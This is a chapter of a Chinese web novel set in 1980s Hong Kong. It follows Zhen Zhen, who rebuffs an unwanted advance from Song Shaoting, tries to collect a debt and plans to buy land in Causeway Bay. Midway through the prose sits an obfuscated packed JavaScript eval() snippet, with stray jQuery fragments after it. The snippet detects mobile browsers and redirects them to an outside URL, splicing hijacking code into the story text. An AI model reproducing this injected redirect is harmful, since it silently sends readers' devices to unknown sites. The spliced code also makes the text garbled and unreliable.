电梯徐徐上升的数字让人心慌。
宋绍廷连等电梯的耐心都没有,转身就去爬楼梯,肢体的耗费和汗水挥洒只能在浅表层驱散他这种不安。
“谁愿意管你……”
要是她真的不愿意管了……
想到这个可能,他的心就几乎要停跳,他不能让这种情况发生。
宋绍廷以不可思议的速度爬了十三层楼梯,还是没能快过电梯。
他气喘吁吁地站到门前时,家中的门正好关上。
甄真的眼神依然没什么温度,只是从即将关上的门缝里瞥了他一眼,甚至没有走过来为他开门。
宋绍廷抖着手打开门,客厅里没有一丝光亮,也没有任何动静。
甄真进了自己房间。
他站在过道上,深深呼吸,闭眼适应浓稠的黑暗,睁开眼时,手指轻敲上她的房门。
“阿嫂,开开门。”
“睡觉去,我累了。”
他好脾气地继续说:“阿嫂,我怕吵醒我妈。”
他只能卑鄙地使出这一招了。
只要她开门就好。
甄真:……
她没说话,只听到敲门声更大,近似砸门。
“阿嫂……”
这人也真是犟,再这么砸下去,门都能砸坏。
甄真烦躁地拉开门,几乎在瞬间,她的身体被带着转了个圈,门在他们身后轻轻关上。
宋绍廷带着薄茧的手指贴着她的手腕,独属于他的清冽气息将她包围。
甄真猝不及防,反应过来后便下意识地要动手,他的反应速度显然比她还快。
他预判了她的动作,双手桎梏住她的两手手腕,又一个转身,把她压到门板上。
呼吸可闻。
甄真的脑子宕机了几秒,不可抑止地出现了不该有的画面。
那天晚上他也是用如此凶狠的力道掌控着她,给她纾解,慰藉和难以言喻的感觉。
“宋绍廷!”她低吼,转移注意力,“你要干什么?”
逼仄空间,他们没多少发挥的余地。
他们身后只有一张狭窄的床,只要谁稍微用点力,可能就倒在床上。
这是她尽力要避免发生的事情。
宋绍廷的眼在黑暗中愈加的亮,眼神却让人难以捉摸。
甄真匆匆扫过他的眼,撇开视线,“发什么疯?”
他仍旧没有说话,一味地紧紧抓住她,身体贴着她的,几乎严丝合缝。
不知道是不是男人都是无师自通,他的右腿从中间分开她的,左腿卡在她另一边。
她有很多种方式可以脱困,但是……
那人不声不响,只是看着她。
甄真败下阵来,只能来软的,“廷仔,先放开我,好吗?”
她温润的呼吸正喷洒在喉间,他的喉结剧烈地滚动,灼灼视线里只有她翕动的红唇,于是便低头……
他的意念被她的呼吸操控。
甄真这次没让他得逞,偏头躲过,可是他的唇还是触到了她的颈窝。
她的心里打了个激灵,面上愠怒:“宋绍廷!我真的生气了。”
宋绍廷如梦初醒,在她颈窝边的呼吸变得粗重,身体的某处也有了变化。
甄真面容一僵,“你再不离开,我要揍你了。”
他猛然弹开,放她自由。
甄真气急,“快滚。”
他站着没动,憋了半天,低声说:“对不起。”
她没应,打开门,只要他出去。
宋绍廷跨到门口,忽然回头,欺身过来,飞快地说:“我没别的意思,只想确认一件事。”
“什么事?”她叹气。
“你确定不要我负责?”
“……不要。”十八岁的小孩能负什么责。
甄真要关门,他挡住,固执地看着她,“还有……”
“不是一件事吗?”
“还有一件。”
“说吧。”
“你现在有喜欢的人吗?比如那个于天佑,你喜欢他吗?”
甄真被他问笑了:“这关你什么事?”
“小孩,别想那么多,回去睡觉,给我考个状元回来。”
“考状元,你就开心?”
“当然。”
门关了。
宋绍廷扯了下唇,纠结着她刚刚的回答。
她没说不喜欢,也没说喜欢,是不是也不是那么喜欢姓于的?
第二天,宋绍廷安分了些。
他早早做好早餐,没再提那天的事,罕见地没有再做她的跟屁虫。
甄真照例去买当天的报纸,一份正经的时事报纸还有一份娱乐小报。
娱乐小报的头条就是赵博奇和蔡丽丽的大幅照片,标题也很醒目:新基女婿偷吃不抹嘴,隔壁金屋藏娇,夜夜做新郎……
这就是坐实了渣男出轨。
香江记者的嘴真是毒,把蔡丽丽的胡说八道添油加醋地写成了一个TVB狗血长剧,最后都直指赵博奇忘恩负义,脚踏两只船。
这个结果对Jenny离婚很有帮助。
她继续翻看时事报纸,头条新闻是大幅的时政新闻,香江当局对这个城市的未来表示担忧,因为回归祖国即将成为现实,过渡时期,他们忧心港城的国际地位,因此导致岛内房地产和各行各业都不景气,尤其是房地产价格连续几个月录得负增长。
她算了算,这个时间确实是如此,和历史上的事实差不多。
这个书中世界的时间和空间没有偏移太多,只是有部分事实发展慢了点,比如佳联地产的股价现在还没下跌,继续维持高位。
继续翻报纸的其他版块,没看到莫天华的专栏出现。
莫天华是在报纸页面开有美食专栏,不过都看他个人兴致更新文章,她原本以为今天能看到他对龙凤楼的评论,结果并没有。
她放下报纸,有点没想通。
难道莫天华对昨天的菜还不够满意?
甄真没有再细想这件事,美食家们都是至情至性的人,不能一蹴而就,或者时机未到。
今日的龙凤楼维持着开门首日的人流量,不少街坊和市民拿着抽到手的盲盒奖券来兑现,抢到一年免费的大奖得主终于现身。
肥波给那位女士还特意搞了开奖仪式,然后邀请他们就坐,又是一阵轰动热闹。
看到酒楼运行顺利,她和阿强出发去解决财务公司的事,那几笔大额借款亟待回收。
阿强第一次坐她的车,不习惯坐副驾驶,上了车就下来,“大嫂,我坐不惯。”
“?”
“哪里有让大嫂开车的,我来开吧。”
阿强已经拉开了驾驶位车门,示意他要做司机。
甄真却没动,眼睛扫着副驾,“上车,别让我说第二次。”
阿强讪讪地回到副驾。
“听好了,在我这里,不存在什么小弟,都是共事的同事,我自己能开车。”
听她这么训话,阿强再没多说。
一路疾驰,车子停在一个铜锣湾的老旧街区,没想到八十年代的港城,这一块还有这么多低矮楼房,有种城中村的既视感。
这些楼房都只有5到6层,楼房之间的间隔很窄,和内地常见的握手楼很像。
甄真看着面前这栋破小楼,墙壁斑驳,狗皮膏药贴了半墙,很多扇窗户都布满蛛网,不过里面人声嘈杂,都住满了人。
“赵鸿飞住这里?”她皱眉问道。
阿强叼着烟,说话间烟灰噗嗤噗嗤往下掉,“就是,我昨天来确认过,他住顶楼。”
“上去。”
甄真预感今天着钱收得会不顺利。
走到漆黑楼道,这样的感觉更加强烈。
赵鸿飞几张借款单加一起有近百万的本金,利息不算,已经是巨款。
他住的房子又破旧不堪,这个楼和城寨的破都能拼一拼。
阿强在前面带路,边走边骂:“艹,叼,什么地方。”
楼道里都是各种废旧家具和杂物,他们不时会踢到一两个定时炸、弹,当一对裸体男女从房间里追出来时,甄真正上到五楼,那对男女和她擦身而过,惊得她愣在原地几秒。
阿强“切”了声,还很八卦地追着楼梯往下看,“肯定是家里叫鸡,被正婆抓住了吧。”
“……”
甄真不想看这种糟污的事,继续往上走。
顶楼,也就是六楼,楼道就装了个纯黑的大铁门,把这一层和下面各层都分隔开。
此时,铁门紧锁,他们进不去。
她偏头问阿强:“怎么回事?”
阿强摸摸鼻子:“我也没想到。”
“你昨天不是来看过?”
“昨天……门开着啊。”阿强纳闷这个时间怎么还关着门,“大嫂,叫我说,不如直接破门,泼油漆……”
甄真恨铁不成钢,冷嗤:“又忘记我说的话了?”
“你们一个个是不是都有健忘症?”
“我们不是黑……”
话音戛然而止,只因铁门里发出啪嗒几声,门却没完全打开,而是从小洞里露出一张脸来,小男孩虎头虎脑,浑圆的眼睛溜溜地盯着他们,“你们找谁?”
阿强猛地靠近铁门,粗声粗气:“找赵鸿飞,快叫他出来还钱!”
男孩吓得哇哇大哭,手上动作倒是快,大铁门上的四方小洞“刺啦”关上。
“有坏人来了!”
“……”
“啪”一下,甄真一掌拍在阿强后背,“给我让开。”
阿强讪讪地:“大嫂,他们就是故意的,让个孩子出来,知道我们没办法,不用那一套,他们不会还钱的……”
“闭嘴。”
她被阿强吵的头疼,仔细看着这道铁门。
破门而入是不太可能,泼油漆,见血,这些暴力行为绝对不行。
这里连门铃都没装一个,她蹙眉问:“他们家为什么能装个铁门?”
不用后面的人回答,她自己捂了:“这个房子是赵鸿飞的?”
“哦,不对,应该是这栋楼都是他的。”
甄真看阿强傻愣愣的样子猜想他根本不知道这个情况。
“你昨天来这里干嘛了?”
“啊?就是逼他还钱,还能做什么?”阿强茫然的脸很傻很天真,真是愧对他振威四虎的名号。
她睥睨着,“我不是让你查他的家底?”
“有吗?”
“……听他们说你是振威六虎里最机灵的,你这样,他们其他人都是傻子?”
甄真忍不住翻白眼。
知道赵鸿飞是有房产的人,这事就好办了。
她退后一步,示意阿强上前继续摇门,铁门震天响,里面的人不可能无动于衷。
果不其然,不到一分钟,脚步声在门内响起,还不忘呵斥:“吵死了,你们想要干嘛?”
“再乱来,我报警了。”
阿强不甘示弱,把门弄得更大声,意思就是,你再骂,噪音越大。
那声音果然弱下去,四方小门洞里出现的张老年脸,满面皱褶,眼睛浑浊,三角眼,短粗眉。
老伯盯着他们两,横眉冷眼,“你们是什么人?想找谁?”
“老伯,叫赵鸿飞出来。”阿强已经没什么耐心了,用大嗓门吼,凶神恶煞地。
“他不在家。”
老伯简单几个字,干脆利落地关上小门洞。
“……”
阿强哪受得了这个,对着铁门拳打脚踢,铁门成了个噪音播放器,甄真往后靠了靠。
这家人也是能忍,硬是抵抗住了铁门的魔音,龟缩在六楼,再没有半个人出来看看,甄真仔细听门内也没发出任何动静。
大大小小的一家人也挺厉害。
阿强孜孜不倦地弄出更大噪音,分贝直接飙升到她不能忍的地步。
甄真摇摇头,退到下面一层,而之前和她擦身而过的裸体男女居然正好上楼来。
“……”
他们依然没穿衣服,却抱在了一起。
看见甄真错愕的眼神,那女的还瞪她,“看什么看?没见过人亲热?”
奇奇怪怪的人类。
甄真恍然觉得城寨的街坊比这些人正常的多。
她下楼到车里待着,对阿强能否敲开门已经不抱什么期望。
车窗外是这一片低矮的楼房,各种花花绿绿的招牌,什么玩具厂,电子厂,塑料厂,车多人多,她这辆红色跑车吸引了不少目光,路过的人都要看上几眼。
甄真懒理这些目光,想着与其在这里干等,不如去做点事,于是信步走入街边的一间地产中介-福华置业。
接待她的是个年轻男人,长相端正,衬衣西裤的职业打扮。
两人简单寒暄,简宏才笑着问:“甄小姐,您是想买楼还是卖?”
“看看。”她说的含糊,“我看这附近很多工厂,不适合居住啊。”
“这里开厂的多,不过呢,再走过几百米,对面那一片都是新开发的住宅区,楼盘很大的,郭家的新发展集团做的,一定会大卖。”
“你在看这边,走过去一条街就是大型百货公司,什么都能买到,很方便的。”
甄真顺着他的指引,看到大路对面林立的高楼,心中蓦然一动。
这是未来寸土寸金的铜锣湾啊,现在已经能看到雏形,非常有规模了,这一片低矮的楼房就是价值洼地。
如果能拿下这一片……
这个念头一旦生成,她就要去做。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297707|177180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
简宏才还在滔滔不绝的介绍这一带的优势,察言观色,看见甄真脸上的表情不多,感叹道:“我认为这里是很有升值空间的,只是最近这个局势不好,大家都在传以后港城要没落,不敢买,很多人还想尽快卖了自己的物业出国去……”
“简经理是吗?”甄真突然打断他,正色道,“你手上有什么物业是尽快出手的?都给我看看。”
“您跟我来。”
简宏才精神一振,连忙去抽屉找资料。
他很快带着一叠文件过来,还贴心地问她要喝茶还是喝咖啡。
她要了一杯茶,看起手头上的资料页。
“这些都是在我们这里寄卖的房产和物业,大大小小的都有。”简宏才观察着这个气场强大的女人,偷偷把最前面那几个单人单位撤开,“不如看看这一栋老厂房!”
“一——栋?”甄真想了想银行账户的余额,稍有犹豫,“一栋多大?多少钱?”
简宏才一点没被她的犹豫打击到,兴致勃勃地说:“这一栋就在前面几百米,是家小玩具厂,老板正在急售,他们准备全家移民。”
这个时期,港城因为确定回归祖国,有很多人不好看,确实很多人出国。
不管如何,这是个很好的机会。
她当即说要去看看。
简宏才忙不迭地再前面带路。
甄真走出福华置业,迎面撞上大喘气的阿强。
“大嫂,你在这里呢,让我好找。”
她闲散地倪这他:“怎么样啊?开门了吗?”
“没。”阿强讪讪地。
简宏才不知道两人什么关系,疑惑地看阿强,“你们是一起的?”
阿强愣了下,看看简宏才和他身后的福华置业,了然道:“大嫂,你要买房子?”
“先看看。”
甄真示意简宏才带路,三人往前走,正好经过赵鸿飞的那栋楼。
阿强忍不住骂骂咧咧:“叼,他是存心躲着我们,大嫂,照我说,明天找人来……”
她回头扫一眼,阿强的狠话全都咽下去。
“简经理,这栋楼的房东,你认识吗?”她径直指着赵鸿飞家中的楼。
“这栋?”简宏才皱眉,“这栋不值得买吧,这么破,里面布局也不好的,不瞒您说,买来一定要重建,可是这里的地基又窄哦,不好搞啦。”
甄真却笑:“你帮我去问问房东。”
客户是上帝,简宏才觉得纳闷,口头上还是说好,带着他们继续往前走,很快来到他说的玩具工厂厂房。
虽是独栋厂房可是占地比较宽,后面五百米的地方是块被围起来的杂草丛生的荒地,厂房四周也是一些和它高度差不多的楼梯厂房,房龄都是十年以上,没有电梯,它对面的有两栋厂房倒是又新又气派,占地更大,简宏才说也是做玩具的,老板姓郑,可惜人家不卖。
厂房正门的牌子-【兴旺玩具厂】几个大字还很敞亮,一楼有个接待处和休息室,进去之后是展示厅,后面就是加工工坊。
甄真看见有不少工人在做工,工作量不少,大家都井然有序,是正常工厂的样子。
简宏才解释:“其实这个老板生意不错的,赚了大把钱,可能是担心九七之后的事,忙着出国才要卖厂房。”
“他要价多少?”她思忖片刻问道。
简宏才竖起三根手指:“三千三百万。”
阿强不懂行情,嚷道:“这么贵?大嫂,不值得吧,这地方买来干什么?一个破工厂,现在都没人要,前两年地价天天跌,都没人买。”
“你们中介是不是急着脱手,乱介绍给我们?”
简宏才急忙辩解:“铜锣湾发展很好的,地价涨跌都正常,这几个月慢慢稳定了,没跌了,以后以后肯定……”
“叼,哪里有肯定的事,你们中介当然这么说,大嫂,我们先想办法把那些钱收回来比较实际点。”
阿强拉着甄真就走。
简宏才追在后面,“甄小姐,您是有眼光的人,这里真的真的很不错。”
甄真当然知道铜锣湾不错,不是不错,是非常不错。
买下这里,以后吃穿不愁。
问题是,这几千万的资金哪里来。
大威留下的那些钱对普通人来说是很多,可是要发展房地产,那是杯水车薪。
放眼看去,现在这一带都是些老楼,如果有钱,全部可以买下来。
转眼间,他们又走回到富华置业,甄真回头看了眼赵鸿飞的那栋小楼,它距离玩具厂也不过三百米,很近。
再看对面街的摩天大楼,甄真会心一笑。
阿强好奇:“大嫂,你在看什么?这么好笑?”
她淡淡答道:“哦,看到……天降财神啊。”
阿强也看看天,看看地,一脸莫名。
简宏才心中微微一动,愈加殷勤:“甄小姐,我们里面坐一坐?”
“今天先不坐了,我还有事,不过你帮我留意一下这附近的售卖房源。”她顿了顿,指着玩具厂这一带,“你帮我在这一片出个收地皮的广告,只要有想卖的,你都帮我谈谈价格。”
简宏才面容一肃:“您要买下这一片?”
“我可没这么说哦。”她未置可否,“这一片那么大,也要吃的下才行。”
“哦,对了,千万记得那栋楼,帮我问问他想不想卖。”
简宏才先是惊叹,后又陷入沉思,一副心事重重的样子,同事见他这样,问他:“你丢了魂了?”
“刚刚那个女人是什么人?要干什么?”
“她说要买这一片。”
同事一口茶喷出来:“这一片?谁那么大口气?”
“新发展的郭家?”
“不是,姓甄,叫甄真。”
“咦,那就不是哦,只是这个名字也有点熟悉。”
阿强上车后,还念叨着赵鸿飞。
“死扑街,别让我见到他,居然敢不开门。”
“我就说他欠收拾,要我说,还是……”
甄真猛地踩刹车,阿强被安全带拉回来,乖乖闭嘴,小心看向驾驶座,见到她面沉如水。
“这么喜欢泼油漆,我现在给你买两桶?”
“那倒不必了。”
“办法是人想出来的,用用脑子行吗?”
阿强安静了,再不敢提暴力催收这事。
一路安静回到龙凤楼。
甄真下车,抬眼就看见白衣黑裤的人立在门口。
他今日还加上了西装,是那天去的德辉实业前买的那套。
高档西装穿在他身上,真是如虎添翼,看着像是从豪门小说走出来的贵公子。
他旁边站着明艳的谢慧玲,青春逼人,好一对璧人。
甄真眯了眯眼。